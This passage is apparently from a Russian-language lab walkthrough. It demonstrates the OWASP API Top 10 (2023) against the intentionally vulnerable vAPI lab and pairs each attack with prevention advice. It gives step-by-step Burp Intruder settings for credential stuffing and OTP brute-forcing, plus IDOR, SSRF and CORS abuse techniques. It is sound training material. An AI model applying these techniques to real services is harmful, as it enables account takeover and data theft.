  </ol>
  <p id="5MdB"></p>
  <h2 id="fWZo">Настройка лаборатории:</h2>
  <ul id="XOJk">
    <li id="dIIs">Скачайте коллекцию Postman и файл среды (environment) vAPI из <a href="https://www.postman.com/roottusk/workspace/vapi/overview" target="_blank">общедоступного рабочего пространства vAPI</a>.</li>
  </ul>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="YgCZ"><a href="https://www.postman.com/" target="_blank">Postman </a>- это инструмент для тестирования и взаимодействия с веб-сервисами и API. Это приложение с графическим интерфейсом, которое позволяет пользователям отправлять HTTP-запросы к различным веб-серверам и просматривать ответы. Postman делает процесс тестирования и отладки API более простым и удобным, позволяя создавать, организовывать и автоматизировать запросы, а также анализировать результаты. Этот инструмент полезен для разработчиков, тестировщиков и всех, кто работает с веб-сервисами, чтобы убедиться, что они работают правильно и отвечают на запросы корректно.</p>
  </section>
  <ul id="rj7A">
    <li id="E23L">Перейдите в Postman и импортируйте коллекции.</li>
  </ul>
  <figure id="wizH" class="m_retina">
    <img src="https://img2.teletype.in/files/1b/e5/1be505b4-fbad-4ff2-8cbd-51b8eb2dba22.webp" width="177" />
  </figure>
  <figure id="yNtm" class="m_retina">
    <img src="https://img3.teletype.in/files/ab/90/ab90717f-14dd-4cc7-9020-bcd65779e28e.webp" width="181.5" />
  </figure>
  <ul id="ZHgT">
    <li id="dCUB">Настройте переменные для коллекции.</li>
  </ul>
  <figure id="Bb3B" class="m_retina">
    <img src="https://img2.teletype.in/files/50/38/50380842-bc20-408c-84aa-3cec62d0c9d9.webp" width="933" />
  </figure>
  <p id="09cO"></p>
  <h2 id="adAQ">OWASP API Security Top 10</h2>
  <h3 id="ac9c"><strong>API1:2023 Broken Object Level Authorization</strong></h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Y9a6">API1:2023 указывает на то, что &quot;API-интерфейсы часто предоставляют конечные точки (endpoints), которые обрабатывают идентификаторы объектов, что создает широкую поверхность для атак связанных с проблемами контроля доступа на уровне объекта. Проверки авторизации на уровне объекта должны рассматриваться в каждой функции, которая получает доступ к источнику данных с использованием идентификатора, предоставленного пользователем.&quot;</p>
  </section>
  <p id="jcx5">Для демонстрации этого примера мы попробуем получить доступ к данным других пользователей, изменив значение ID в Burp Suite.</p>
  <figure id="RjhY" class="m_original">
    <img src="https://img3.teletype.in/files/2c/3d/2c3d63e6-88b9-49ce-b8ce-fb579f927398.webp" width="720" />
  </figure>
  <figure id="E4Cu" class="m_retina">
    <img src="https://img2.teletype.in/files/1d/a3/1da34aed-ed1a-459b-b6c4-c4964ed1735a.webp" width="882.5" />
  </figure>
  <figure id="viVv" class="m_retina">
    <img src="https://img3.teletype.in/files/21/a6/21a6568a-2fbe-490b-90d9-3423b1d76333.webp" width="823" />
  </figure>
  <figure id="KINx" class="m_retina">
    <img src="https://img4.teletype.in/files/33/62/33622cc9-78de-4f33-a982-566c600be6b8.webp" width="360" />
  </figure>
  <figure id="VhzR" class="m_retina">
    <img src="https://img1.teletype.in/files/cb/7d/cb7debcd-e9be-466d-b2b6-85ecc0ae9eb1.webp" width="592" />
  </figure>
  <p id="wyqe">Также давайте попробуем перейти к пользователю с <strong>ID <code>1</code></strong>, который, вероятно, представляет собой администратора.</p>
  <figure id="FJiN" class="m_original">
    <img src="https://img4.teletype.in/files/f7/dc/f7dc9ac1-7e88-499a-8b47-18883d715175.webp" width="1229" />
  </figure>
  <p id="Psz9">Эти снимки экрана показывают, что мы можем просматривать данные других пользователей, к которым у нас нет авторизации, просто изменив значение ID. Это подтверждает уязвимость vAPI в отношении нарушения авторизации на уровне объекта.</p>
  <p id="dRDv"><strong>Как предотвратить</strong></p>
  <ol id="dlAr">
    <li id="iMhq">Внедрите правильный механизм авторизации, который зависит от политик и иерархии пользователей.</li>
    <li id="WUYh">Используйте механизм авторизации для проверки, имеет ли вошедший в систему пользователь доступ к выполнению запрошенного действия с записью в каждой функции, которая использует ввод от клиента для доступа к записи в базе данных.</li>
    <li id="ZZJv">Предпочтительно использовать случайные и непредсказуемые значения в качестве идентификаторов записей (GUID) вместо последовательных или простых чисел.</li>
    <li id="K8ao">Напишите тесты для оценки уязвимости механизма авторизации. Не развертывайте изменения, которые могут вызвать сбои в тестах.</li>
  </ol>
  <p id="ALtt"></p>
  <h3 id="5819"><strong>API2:2023 Broken Authentication</strong></h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="uiPp">API2:2023 гласит, что &quot;Механизмы аутентификации часто реализуются неправильно, что позволяет злоумышленникам взламывать токены аутентификации или использовать ошибки в реализации для временного или постоянного захвата идентичности других пользователей. Нарушение способности системы идентифицировать клиента/пользователя подрывает общую безопасность API.&quot;</p>
  </section>
  <p id="9Kdz">Для демонстрации этой уязвимости у нас нет начальной электронной почты или пароля, установленных во время создания пользователя. Поэтому мы произвольно вводим адрес электронной почты и пароль, отправляем запрос в Burp и затем отправляем запрос в инструмент <a href="https://portswigger.net/burp/documentation/desktop/tools/intruder" target="_blank">Intruder</a>.</p>
  <figure id="iOFa" class="m_retina">
    <img src="https://img4.teletype.in/files/71/83/7183eb4a-0d30-4b3f-a25a-4f69000db2a2.webp" width="887" />
  </figure>
  <figure id="JowQ" class="m_retina">
    <img src="https://img3.teletype.in/files/a5/d4/a5d463d2-4779-4016-9562-b525fb8abe0d.webp" width="953" />
  </figure>
  <p id="HVWh">Мы видим, что позиция для загрузки данных (payload position) уже установлена для электронной почты и пароля.</p>
  <p id="Ku4v">Кроме того, vAPI содержит список адресов электронной почты и соответствующих паролей, разделенных запятыми. В моем случае этот список находится по пути <code>~/lab/vapi/Resources/API2_CredentialStuffing/creds.csv</code>. Поэтому я переместил его в каталог vAPI.</p>
  <figure id="OiMf" class="m_retina">
    <img src="https://img4.teletype.in/files/7d/d4/7dd4af5f-6934-47e2-8936-1a9d00f8ff26.png" width="313" />
  </figure>
  <p id="oev6">Мы также выбираем тип атаки &quot;Pitchfork&quot;  в этом случае. Атака &quot;Pitchfork&quot; перебирает разные наборы данных для каждой определенной позиции. Поддерживаются одновременные варианты данных для каждой позиции. Общее количество запросов, создаваемых в ходе атаки, равно количеству данных в наименьшем наборе данных. Атака &quot;Pitchfork&quot; полезна, когда атака требует вставки разных, но связанных данных в несколько мест внутри запроса.</p>
  <p id="2kM5">Затем мы загружаем файл creds.csv в качестве данных для атаки.</p>
  <figure id="neZN" class="m_retina">
    <img src="https://img3.teletype.in/files/e8/53/e8532d7e-078d-42fb-b3dc-394e18d2fb41.webp" width="360" />
  </figure>
  <p id="4Dns">Для раздела обработки данных для атаки выберите опцию &quot;Соответствие/замена&quot; (Match/replace) и добавьте ,([^\s,]+) в поле &quot;Соответствие&quot; (Match regex), а в поле &quot;Замена&quot; (Replace) оставьте пустым. Для второго набора данных добавьте ([\w.-]+@[a-zA-Z\d.-]+.[a-zA-Z]{2,}) в поле &quot;Соответствие&quot; (Match) и также оставьте поле &quot;Замена&quot; пустым. Затем запустите атаку. Также не забудьте снять флажок &quot;Кодировать символы в URL&quot; (URL-encode these characters) для обоих позиций перед началом атаки.</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="QrBn">Регулярные выражения проще всего создавать используя сайт <a href="https://regex101.com" target="_blank">regex101.com</a></p>
  </section>
  <figure id="R7Ku" class="m_retina">
    <img src="https://img4.teletype.in/files/70/62/706224a0-6e55-4acd-ba31-833308337db9.webp" width="289" />
  </figure>
  <figure id="yTQw" class="m_retina">
    <img src="https://img4.teletype.in/files/fa/58/fa581cf3-10ea-443a-bc1f-501b9862466d.webp" width="289" />
  </figure>
  <p id="jtu0">Отсортируйте результаты в соответствии со статусом и просмотрите адрес электронной почты и пароль, где адрес электронной почты и пароль совпадают.</p>
  <figure id="ekLc" class="m_retina">
    <img src="https://img1.teletype.in/files/ce/62/ce62dc1b-98c4-489f-ade7-36666d5c9a0c.webp" width="440.5" />
  </figure>
  <p id="Qxnr">Используя учетные данные, мы можем получить токен, как показано ниже:</p>
  <figure id="5m6w" class="m_retina">
    <img src="https://img1.teletype.in/files/42/05/4205b41d-0eaa-4f86-a443-3736bad162f4.webp" width="894.5" />
  </figure>
  <p id="nbp4">Также,</p>
  <figure id="Ch5B" class="m_original">
    <img src="https://img1.teletype.in/files/8a/89/8a895320-9b00-4928-94b6-9bf099b78700.webp" width="720" />
  </figure>
  <p id="qygW">Эти снимки экрана показывают, что мы можем аутентифицироваться, даже не зная пароль пользователя, просто перебирая его методом &quot;брутфорс&quot;.</p>
  <p id="U2PY"><strong>Как предотвратить</strong></p>
  <ol id="Kjgb">
    <li id="Pk2P">Убедитесь, что вы знаете все возможные способы аутентификации в API (мобильные/веб-ссылки, реализующие одноразовую аутентификацию и т. д.). Обсудите с инженерами, какие способы вы упустили.</li>
    <li id="bK9a">Изучите ваши механизмы аутентификации. Убедитесь, что вы понимаете, что и как они используются. OAuth не является механизмом аутентификации, и таковыми не являются API-ключи.</li>
    <li id="KbKV">Не изобретайте велосипед в вопросах аутентификации, генерации токенов или хранения паролей. Используйте стандарты.</li>
    <li id="1W4c">Эндпоинты восстановления учетных данных/восстановления пароля должны рассматриваться как точки входа для аутентификации в терминах защиты от перебора, ограничения частоты запросов и блокировки.</li>
    <li id="WgkT">Требуйте повторной аутентификации для выполнения чувствительных операций (например, изменение адреса электронной почты владельца учетной записи/номера телефона для двухфакторной аутентификации).</li>
    <li id="7sDz">Используйте <a href="https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html" target="_blank">OWASP Authentication Cheatsheet</a> (шпаргалку по аутентификации OWASP).</li>
    <li id="C8LM">При возможности реализуйте многофакторную аутентификацию.</li>
    <li id="zSjP">Внедрите механизмы борьбы с перебором, чтобы предотвратить атаки на перебор учетных данных, словарные атаки и атаки перебором на ваших конечных точках аутентификации. Этот механизм должен быть строже, чем обычные механизмы ограничения частоты запросов в ваших API.</li>
    <li id="1Ll4">Реализуйте механизмы<a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003)" target="_blank"> блокировки аккаунта</a>/капчи, чтобы предотвратить атаки перебором для конкретных пользователей. Реализуйте проверку на слабые пароли.</li>
    <li id="a8gQ"><a href="https://cloud.google.com/endpoints/docs/openapi/when-why-api-key" target="_blank">API-ключи</a> не должны использоваться для аутентификации пользователей. Они должны использоваться только для аутентификации клиентов API.</li>
  </ol>
  <p id="oL4N"></p>
  <h3 id="35b3"><strong>API3:2023 Broken Object Property Level Authorization</strong></h3>
  <p id="areI">Нарушение уровня авторизации свойств объекта (Broken object property level authorization) относится к уязвимости в безопасности API, при которой управление доступом к отдельным свойствам объекта недостаточно или некорректно применяется. Другими словами, это означает, что API позволяет несанкционированным пользователям получать доступ к определенным чувствительным или приватным свойствам объекта, которые должны быть доступны только определенным пользователям или ролям.</p>
  <p id="fsTd">Эта категория объединяет API3:2019 - Избыточное раскрытие данных и API6:2019 - Массовое присвоение, сосредотачивая внимание на корневой причине: отсутствии или неправильной проверке авторизации на уровне свойств объекта. Это приводит к раскрытию или манипулированию информацией со стороны несанкционированных лиц.</p>
  <p id="iLXq">Давайте сначала создадим пользователя и попробуем получить информацию о созданном пользователе.</p>
  <figure id="ilAU" class="m_retina">
    <img src="https://img3.teletype.in/files/6b/39/6b3964f3-2e8e-4b65-9d1f-90f9c2586008.webp" width="360" />
  </figure>
  <figure id="burY" class="m_retina">
    <img src="https://img4.teletype.in/files/32/87/3287ac4b-d5db-41cd-bcdd-9d44f0c21299.webp" width="881" />
  </figure>
  <p id="H3NY">Теперь давайте попробуем установить кредит при создании пользователя. Я не смог реализовать метод PUT для этой конечной точки, поэтому я попробовал установить свойство &quot;кредит&quot; со значением во время создания нового пользователя.</p>
  <figure id="ugwl" class="m_retina">
    <img src="https://img1.teletype.in/files/47/dd/47ddaab6-b078-4154-aef2-381fec10755e.webp" width="415.5" />
  </figure>
  <p id="B4sJ">При получении нового пользователя мы видим, что кредит пользователя установлен в заданное значение во время создания.</p>
  <figure id="I6ns" class="m_retina">
    <img src="https://img2.teletype.in/files/59/83/5983dc1d-5a13-4e7a-9361-3c727eece887.webp" width="882" />
  </figure>
  <p id="hruu">В контексте API объект - это структура данных, которая содержит различные свойства или атрибуты. В данном случае &quot;кредит&quot; - это свойство пользователя, которое не должно было редактироваться самим пользователем, но здесь пользователь может определить свойство и установить ему значение при создании пользователя. Уровень авторизации должен был обеспечить, чтобы пользователи имели доступ только к тем свойствам, к которым им разрешен доступ, но в данном случае пользователь смог успешно просматривать кредит при получении данных о пользователе и редактировать его. В результате пользователь смог успешно изменить это свойство и увеличить свой кредит.</p>
  <p id="tT57"><strong>Как предотвратить</strong></p>
  <ol id="mu5K">
    <li id="edZ7">При предоставлении доступа к объекту через конечную точку API всегда убедитесь, что пользователь имеет доступ к свойствам объекта, которые вы разглашаете.</li>
    <li id="kvyF">Избегайте использования общих методов, таких как <code>to_json()</code> и <code>to_string()</code>. Вместо этого выбирайте конкретные свойства объекта, которые вы хотите вернуть.</li>
    <li id="zh2l">При возможности избегайте использования функций, которые автоматически связывают входные данные клиента с переменными кода, внутренними объектами или свойствами объекта (&quot;Mass Assignment&quot;).</li>
    <li id="yfpW">Разрешайте изменения только свойствам объекта, которые должны обновляться клиентом.</li>
    <li id="UzWh">Реализуйте механизм валидации ответа на основе схемы как дополнительный уровень безопасности. В рамках этого механизма определите и обеспечьте возврат данных всеми методами API.</li>
    <li id="jx4p">Сократите структуры возвращаемых данных до минимума, в соответствии с бизнес-функциональными требованиями для конечной точки.</li>
  </ol>
  <p id="2p7V"></p>
  <h3 id="da36"><strong>API4:2023 Unrestricted Resource Consumption</strong></h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="lgRq">API4 гласит: &quot;Удовлетворение запросов API требует ресурсов, таких как сетевая пропускная способность, процессор, память и хранилище. Другие ресурсы, такие как электронная почта/SMS/телефонные звонки или проверка биометрических данных, предоставляются поставщиками услуг через интеграции с API и оплачиваются за каждый запрос. Успешные атаки могут привести к отказу в обслуживании или увеличению операционных затрат.&quot;</p>
  </section>
  <p id="zz1W">Для демонстрации этой уязвимости перейдите к API4 в коллекции, и мы попробуем запросить отправку ОТР-кода на мобильный телефон. Это войдет в учетную запись пользователя, чей номер мобильного телефона мы предоставили. В теле ответа мы видим, что на устройство этого пользователя был отправлен 4-значный код. Поскольку у нас нет доступа к устройству пользователя, у нас нет ОТР-кода.</p>
  <figure id="hOIz" class="m_retina">
    <img src="https://img2.teletype.in/files/93/6c/936c6a20-99e1-4a4c-b111-3b26fffca329.webp" width="884.5" />
  </figure>
  <p id="vu3I">Но мы можем обойти это с помощью Burp, чтобы получить ОТР-код.</p>
  <figure id="7bcC" class="m_retina">
    <img src="https://img1.teletype.in/files/8f/08/8f084fac-1983-4f2e-84c5-c616fb47e8b7.webp" width="875.5" />
  </figure>
  <p id="ikYD">Однако, просматривая ответ на запрос, мы видим, что ОТР-код недействителен.</p>
  <figure id="EymA" class="m_retina">
    <img src="https://img3.teletype.in/files/a0/ff/a0ff7416-beee-42c9-b887-08659cdeb01b.webp" width="586" />
  </figure>
  <p id="nQQ7">Теперь мы должны попробовать провести фаззинг с помощью Intruder-а.</p>
  <figure id="x0Ar" class="m_retina">
    <img src="https://img2.teletype.in/files/1d/5d/1d5d3242-8f69-45c3-aa8f-f65f12efa82c.webp" width="959.5" />
  </figure>
  <p id="5Z69">Теперь мы выбираем атаку Snipper и редактируем раздел с данными payloads, как показано ниже:</p>
  <figure id="P5A2" class="m_retina">
    <img src="https://img2.teletype.in/files/16/bc/16bcfdcf-89cc-4247-a09b-3455ec825371.webp" width="946" />
  </figure>
  <p id="Cg2k">Теперь мы запускаем атаку и ожидаем ответа, в котором OTP дает статус 200.</p>
  <figure id="S1RV" class="m_retina">
    <img src="https://img3.teletype.in/files/ab/a3/aba33421-5691-4eef-8be5-cbc127b1fd1b.webp" width="356" />
  </figure>
  <p id="r7pl">Теперь мы возвращаемся в Postman и выбираем запрос &quot;Get Details&quot; из списка. Вставляем найденное выше значение ключа в поле &quot;Authorization Token&quot; и отправляем запрос.</p>
  <figure id="wpGc" class="m_retina">
    <img src="https://img4.teletype.in/files/3f/52/3f52c940-bef4-426d-bfc4-fe10c6e7575b.webp" width="748" />
  </figure>
  <p id="3d8z">Приложение должно иметь какое-то ограничение, которое бы остановило нас от отправки тысяч запросов для поиска ОТР-кода, который соответствует. Это доказывает, что vAPI уязвим для неограниченного потребления ресурсов.</p>
  <p id="1fl0">Эксплуатация подобной уязвимости может привести к DoS из-за истощения ресурсов, а также к увеличению операционных затрат, таких как затраты на инфраструктуру из-за повышенного спроса на CPU, увеличения потребности в облачном хранилище и так далее.</p>
  <p id="Frij"><strong>Как предотвратить</strong></p>
  <ol id="9mfk">
    <li id="w8Js">Используйте решение, которое упрощает ограничение потребления <a href="https://docs.docker.com/config/containers/resource_constraints/#memory" target="_blank">памяти</a>, <a href="https://docs.docker.com/config/containers/resource_constraints/#cpu" target="_blank">CPU</a>, <a href="https://docs.docker.com/engine/reference/commandline/run/#restart" target="_blank">количества перезапусков</a>, <a href="https://docs.docker.com/engine/reference/commandline/run/#ulimit" target="_blank">дескрипторов файлов и процессов</a>, такие как контейнеры или серверный код без сервера (например, Lambda-функции).</li>
    <li id="Q39G">Определите и обеспечьте максимальный размер данных для всех входных параметров и полезных нагрузок, такой как максимальная длина строк, максимальное количество элементов в массивах и максимальный размер загружаемого файла (независимо от того, хранится ли он локально или в облачном хранилище).</li>
    <li id="VsBF">Реализуйте ограничение на частоту взаимодействия клиента с API в заданный промежуток времени (ограничение частоты).</li>
    <li id="w2Eq">Настройте ограничение частоты в соответствии с бизнес-потребностями. Некоторые конечные точки API могут потребовать более строгих политик.</li>
    <li id="4aig">Ограничивайте, сколько раз или как часто один клиент/пользователь API может выполнять одну операцию (например, проверку OTP или запрос восстановления пароля без посещения одноразового URL).</li>
    <li id="DZfr">Добавьте должную серверную проверку параметров строки запроса и тела запроса, в частности тех, которые управляют количеством записей, возвращаемых в ответе.</li>
    <li id="5tX9">Настройте ограничения расходов для всех поставщиков услуг/API-интеграций. Если установка ограничений расходов невозможна, настройте оповещения о биллинге.</li>
  </ol>
  <p id="Q2Ss"></p>
  <h3 id="78d1"><strong>API5:2023 Broken Function Level Authorization</strong></h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="9O9z">API5 утверждает, что &quot;Сложные политики управления доступом с разными иерархиями, группами и ролями, а также нечеткое разделение между административными и обычными функциями, часто приводят к уязвимостям в авторизации. Злоумышленники, используя эти проблемы, могут получить доступ к ресурсам других пользователей и/или административным функциям&quot;.</p>
  </section>
  <p id="UPtv">Для начала создадим пользователя и попробуем получить его данные.</p>
  <figure id="XlyM" class="m_retina">
    <img src="https://img3.teletype.in/files/6b/f0/6bf055ae-a926-4601-915c-30aaa07ddcc9.webp" width="874.5" />
  </figure>
  <figure id="RHuf" class="m_retina">
    <img src="https://img1.teletype.in/files/48/ec/48ecf39e-c535-4f9c-bfa1-2fecfdac4bf2.webp" width="881" />
  </figure>
  <p id="9WxH">Для демонстрации этой уязвимости мы попробуем получить сведения об администраторе, угадывая несколько конечных точек. Вот некоторые из конечных точек, которые я попытался угадать.</p>
  <figure id="q9Yv" class="m_retina">
    <img src="https://img1.teletype.in/files/07/ec/07ec03c6-2bb3-4882-8fc3-64d4e9d17b89.webp" width="887.5" />
  </figure>
  <figure id="19Q2" class="m_retina">
    <img src="https://img1.teletype.in/files/42/56/4256d3c3-0700-49b8-8c93-7a4496a8ebd4.webp" width="877" />
  </figure>
  <figure id="xaC9" class="m_retina">
    <img src="https://img4.teletype.in/files/70/40/70403bb3-643e-4079-8e44-9c3cdf520ca8.webp" width="885" />
  </figure>
  <p id="4hFq">После множества попыток, когда пользователь &quot;something_something&quot; не сработал, я попытался извлечь все данные о пользователях. В этом случае данные об администраторе удалось легко получить. Это подтверждает, что API уязвим к атакам на уровне функционала с нарушенной авторизацией.</p>
  <p id="4DOw"><strong>Как предотвратить</strong></p>
  <ol id="Q5pb">
    <li id="UJWz">Ваше приложение должно иметь последовательный и легко анализируемый модуль авторизации, который вызывается из всех ваших бизнес-функций. Часто такая защита предоставляется одним или несколькими компонентами, находящимися за пределами кода приложения.</li>
    <li id="yRSl">Механизм(ы) обеспечения должны по умолчанию отклонять все запросы, требуя явного предоставления разрешений для конкретных ролей на доступ к каждой функции.</li>
    <li id="7xY1">Проверьте ваши конечные точки API на наличие уязвимостей уровня функции авторизации, учитывая бизнес-логику приложения и иерархию групп.</li>
    <li id="WCl7">Убедитесь, что все ваши административные контроллеры наследуют от административного абстрактного контроллера, который реализует проверки авторизации на основе группы/роли пользователя.</li>
    <li id="Lkfx">Убедитесь, что административные функции внутри обычного контроллера реализуют проверки авторизации на основе группы и роли пользователя.</li>
  </ol>
  <p id="gk7d"></p>
  <h3 id="ac6d"><strong>API6:2023 Unrestricted Access to Sensitive Business Flows</strong></h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="KZeg">API6 гласит, что &quot;API, уязвимые для этого риска, раскрывают бизнес-поток, такой как покупка билета или размещение комментария, без компенсации за то, как функциональность может нанести ущерб бизнесу, если она будет использована в автоматизированном режиме. Это не всегда связано с ошибками в реализации.&quot;</p>
  </section>
  <p id="kYWm">Эта уязвимость не может быть эксплуатирована в лабораторных условиях. Поэтому я просто попробую объяснить это простыми словами.</p>
  <p id="qP5X">Последствия этой уязвимости могут быть значительными и разнообразными. Поскольку злоумышленники могут получить доступ к чувствительным бизнес-потокам, они могут использовать их таким образом, что это наносит ущерб бизнесу. Распространенность этой проблемы считается &quot;широкой&quot;, что означает, что это общая проблема, с которой сталкиваются многие API. Обнаружимость этой уязвимости оценивается как &quot;средняя&quot;, что указывает на то, что она может не быть сразу очевидной или легко идентифицируемой.</p>
  <p id="CjXk">Когда злоумышленники эксплуатируют эту уязвимость, им typically нужно понимать бизнес-модель, поддерживаемую API. Затем они выявляют чувствительные бизнес-потоки и автоматизируют доступ к ним, нанося ущерб бизнесу. Отсутствие всестороннего понимания бизнес-требований API способствует распространенности этой уязвимости, так как разработчики могут не полностью понимать последствия разглашения чувствительных потоков.</p>
  <p id="cFdi">Что касается влияния на бизнес, эксплуатация этой уязвимости может повредить организацию разными способами. Например:</p>
  <ul id="9Bxs">
    <li id="28bi">Предотвращение законных пользователей от покупки продукта: Злоумышленники могут манипулировать чувствительным бизнес-потоком, связанным с покупками, что может вызвать сбои в процессе покупки для настоящих клиентов и потенциальные потери доходов для бизнеса.</li>
    <li id="f278"><br />Инфляция внутренней экономики игры: Если API связан с игровой платформой, злоумышленники могут использовать чувствительные потоки для создания искусственных ресурсов или игровой валюты, что вызовет дисбаланс в экономике игры и негативно повлияет на игровой опыт других пользователей.</li>
  </ul>
  <p id="zYZ0"><strong>Как предотвратить</strong></p>
  <p id="j0uo">Планирование мер по смягчению должно выполняться на двух уровнях:</p>
  <ol id="Othq">
    <li id="SRL6">Бизнес — определение бизнес-процессов, которые могут нанести ущерб бизнесу, если их будут чрезмерно использовать.</li>
    <li id="up2L">Инженерное — выбор правильных механизмов защиты для смягчения бизнес-риска.</li>
  </ol>
  <p id="asl6">Некоторые механизмы защиты более просты, в то время как другие более сложны в реализации. Для замедления автоматизированных угроз используются следующие методы:</p>
  <ul id="cwqX">
    <li id="lSWL">Идентификация устройства: отказ в обслуживании неожидаемым клиентским устройствам (например, безголовым браузерам) склоняет злоумышленников использовать более сложные решения, что делает их более затратными.</li>
    <li id="Jq1E">Обнаружение человека: использование CAPTCHA или более продвинутых биометрических решений (например, анализа структуры набора текста) для определения человека.</li>
    <li id="rDLs">Обнаружение нечеловеческих паттернов: анализ потока пользователя для обнаружения нечеловеческих паттернов (например, пользователь выполнил функции &quot;добавить в корзину&quot; и &quot;завершить покупку&quot; менее чем за одну секунду).</li>
    <li id="3qwI">Рассмотрите блокировку IP-адресов выходных узлов Tor и известных прокси-серверов.</li>
  </ul>
  <p id="bvkX">Обеспечьте безопасность и ограничьте доступ к API, которые используются напрямую машинами (например, API разработчиков и B2B API). Они часто становятся легкой мишенью для атакующих, потому что часто не реализуют все необходимые механизмы защиты.</p>
  <p id="vsxJ"></p>
  <h3 id="a1ff"><strong>API7:2023 Server Side Request Forgery</strong></h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="1yTG">API7 утверждает, что ошибка серверного запроса с подделкой (SSRF) может возникнуть, когда API извлекает удаленный ресурс без проверки предоставленного пользователем URI. Это позволяет злоумышленнику вынудить приложение отправить сфабрикованный запрос к неожиданному месту назначения, даже если оно защищено брандмауэром или VPN.</p>
    <p id="lMXq">Имейте в виду, что уязвимость SSRF часто используется для обхода защитных мер, таких как брандмауэры и VPN, что делает ее особенно опасной.</p>
  </section>
  <p id="IvL5">Для этого перейдем в папку Arena и подпапку ServerSurfer, а затем отправим GET-запрос.</p>
  <figure id="ku1y" class="m_retina">
    <img src="https://img2.teletype.in/files/da/6f/da6f25fa-76b2-4c8a-b4cf-7d69119b67ce.webp" width="367" />
  </figure>
  <figure id="8jJe" class="m_retina">
    <img src="https://img1.teletype.in/files/08/af/08af8815-7bee-4dcf-ad65-4e365cd0ded4.webp" width="420" />
  </figure>
  <figure id="HzBV" class="m_retina">
    <img src="https://img1.teletype.in/files/01/6f/016ff88c-2c48-4091-a1c3-375b96620118.webp" width="333" />
  </figure>
  <p id="UIRS">Здесь я попробовал переключиться на<code>https://webhook.site</code>. Здесь мы установим текст, который будет отправлен обратно, когда будет сделан запрос на определенный веб-адрес. Приложение vAPI отображает данные, возвращаемые любым URL, который мы устанавливаем в качестве значения GET-параметра в этом запросе. В данном случае это была просто строка. В другом сценарии это могло бы быть вредной нагрузкой. Это уязвимость SSRF.</p>
  <p id="2vIy"><strong>Как предотвратить</strong></p>
  <ul id="A6EZ">
    <li id="bF3T">Изолируйте механизм получения ресурсов в вашей сети: обычно эти функции направлены на получение удаленных ресурсов, а не внутренних.</li>
    <li id="1S15">Всякий раз, когда это возможно, используйте списки разрешенных элементов:</li>
    <ul id="hI1b">
      <li id="uXqA">Удаленные источники, с которых ожидается, что пользователи будут загружать ресурсы (например, Google Drive, Gravatar и т. д.).</li>
      <li id="90Zq">Схемы URL и порты.</li>
      <li id="getA">Принимаемые типы медиафайлов для конкретной функциональности.</li>
    </ul>
    <li id="xMlj">Отключите HTTP-перенаправления.</li>
    <li id="JvX4">Используйте хорошо протестированный и поддерживаемый парсер URL, чтобы избежать проблем, вызванных несогласованностью разбора URL.</li>
    <li id="LSdy">Проверяйте и очищайте все данные, предоставленные клиентом.</li>
    <li id="H6A6">Не отправляйте клиентам сырые ответы.</li>
  </ul>
  <p id="uvnb"></p>
  <h3 id="72e9"><strong>API8:2023 Security Misconfiguration</strong></h3>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="IDpw">API8 утверждает, что &quot;API и системы, поддерживающие их, обычно содержат сложные конфигурации, предназначенные для более гибкой настройки API. Инженеры по разработке программного обеспечения и DevOps могут упустить эти конфигурации или не следовать лучшим практикам безопасности при настройке, что открывает двери для различных типов атак.&quot;</p>
  </section>
  <figure id="EY4S" class="m_retina">
    <img src="https://img1.teletype.in/files/84/4e/844ea681-de53-4136-87f3-5af34cae6b93.webp" width="360" />
  </figure>
  <figure id="I86N" class="m_retina">
    <img src="https://img1.teletype.in/files/45/e6/45e652d5-3915-40d6-a934-33f8493eff1f.webp" width="883.5" />
  </figure>
  <figure id="BVyb" class="m_retina">
    <img src="https://img2.teletype.in/files/92/1e/921e374f-69af-4ffe-802e-d1fda76e713f.webp" width="360" />
  </figure>
  <figure id="UiZm" class="m_retina">
    <img src="https://img2.teletype.in/files/1a/86/1a86b361-e472-45d0-a75e-75c760d9868e.webp" width="822.5" />
  </figure>
  <p id="RD2x">Мы заметим следующие заголовки ответа:</p>
  <p id="Nutd"><code>Access-Control-Allow-Origin: * </code></p>
  <p id="Qh8M"><code>Access-Control-Allow-Credentials: true</code></p>
  <p id="hQmj">Это показывает, что политика CORS для этого запроса настроена неправильно, что означает, что он может быть отправлен из стороннего веб-приложения для доступа к этому ресурсу и получения идентификатора пользователя, имени пользователя, пароля и ключа аутентификации.</p>
  <p id="Is8j">Для демонстрации этого мы отправляем запрос в Repeater и добавляем пользовательский заголовок запроса <code>Origin</code>: request header.</p>
  <figure id="oTZo" class="m_retina">
    <img src="https://img3.teletype.in/files/e2/d8/e2d811f4-b57f-4fbe-8668-cbee5804693d.webp" width="747" />
  </figure>
  <p id="873N">Здесь наличие Origin: * (звёздочка) сделало эксплуатацию уязвимости легкой, так как мы можем использовать любой адрес сайта и отправить запрос. Это представляет собой нарушение конфигурации безопасности.</p>
  <p id="X6ej"><strong>Как предотвратить</strong></p>
  <ul id="rG1i">
    <li id="RaA2">Жизненный цикл API должен включать в себя:</li>
    <ul id="l4PF">
      <li id="jyej">Повторяемый процесс закрепления, который приводит к быстрому и легкому развертыванию должной защищенной среды.</li>
      <li id="p5c5">Задачу по обзору и обновлению конфигураций во всем стеке API. Обзор должен включать в себя файлы оркестрации, компоненты API и облачные службы (например, разрешения для хранилища S3).</li>
